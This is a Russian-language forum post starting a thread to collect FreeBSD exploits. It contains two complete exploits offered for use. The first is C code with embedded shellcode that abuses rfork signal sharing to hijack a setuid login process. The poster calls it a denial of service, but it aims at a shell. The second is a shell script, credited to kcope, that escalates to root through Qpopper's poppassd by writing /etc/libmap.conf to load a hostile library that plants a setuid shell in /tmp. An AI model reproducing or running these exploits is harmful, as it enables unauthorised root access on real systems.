Ладно тут будем постить разные сплойты для FreeBSD. Я начну. Вот сплойт который делает локальный отказ в обслуживании : PHP: #include <stdio.h> #include <signal.h> #include <unistd.h> int vv1; #define MYSIG SIGINT //exec "/tmp/sh", shellcode gotten from the internet and modified unsigned char bsdshell[] = "\x90\x90\x90\x90\x90\x90\x90\x90" "\x31\xc0\x50\x50\xb0\xb7\xcd\x80" "\x31\xc0\x50\x50\xb0\x17\xcd\x80" "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f" "\x74\x6d\x70\x89\xe3\x50\x53\x50\x54\x53" "\xb0\x3b\x50\xcd\x80\x90\x90\x90"; typedef (*PROG)(); extern char **environ; int main(int ac,char **av) { int pid; //(*(PROG)bsdshell)(); if(!(vv1=getenv("vv"))) { setenv("vv",bsdshell,1); if(!execle(av[0],"vv",NULL,environ)) { perror("weird exec"); exit(1); } } printf("vvfreebsd. Written by Georgi Guninski\n"); printf("shall jump to %x\n",vv1); if(!(pid=rfork(RFPROC|RFSIGSHARE))) { printf("child=%d\n",getpid()); // /usr/bin/login and rlogin work for me. ping gives nonsuid shell // if(!execl("/usr/bin/rlogin","rlogin","localhost",0)) if(!execl("/usr/bin/login","login",0)) { perror("exec setuid failed"); exit(2); }; } sleep(2); signal(MYSIG,(sig_t)vv1); sleep(2); kill(pid,MYSIG); printf("done\n"); while(42); }
local r00t exploit #!/bin/sh ########################################################################### # FreeBSD Qpopper poppassd latest version local r00t exploit by kcope ### # tested on FreeBSD 5.4-RELEASE ### ########################################################################### POPPASSD_PATH=/usr/local/bin/poppassd HOOKLIB=libutil.so.4 echo "" echo "FreeBSD Qpopper poppassd latest version local r00t exploit by kcope" echo "" sleep 2 umask 0000 if [ -f /etc/libmap.conf ]; then echo "OOPS /etc/libmap.conf already exists.. exploit failed!" exit fi cat > program.c << _EOF #include #include #include #include void _init() { if (!geteuid()) { remove("/etc/libmap.conf"); execl("/bin/sh","sh","-c","/bin/cp /bin/sh /tmp/xxxx ; /bin/chmod +xs /tmp/xxxx",NULL); } } _EOF gcc -o program.o -c program.c -fPIC gcc -shared -Wl,-soname,libno_ex.so.1 -o libno_ex.so.1.0 program.o -nostartfiles cp libno_ex.so.1.0 /tmp/libno_ex.so.1.0 echo "--- Now type ENTER ---" echo "" $POPPASSD_PATH -t /etc/libmap.conf echo $HOOKLIB ../../../../../../tmp/libno_ex.so.1.0 > /etc/libmap.conf su if [ -f /tmp/xxxx ]; then echo "IT'S A ROOTSHELL!!!" /tmp/xxxx else echo "Sorry, exploit failed." fi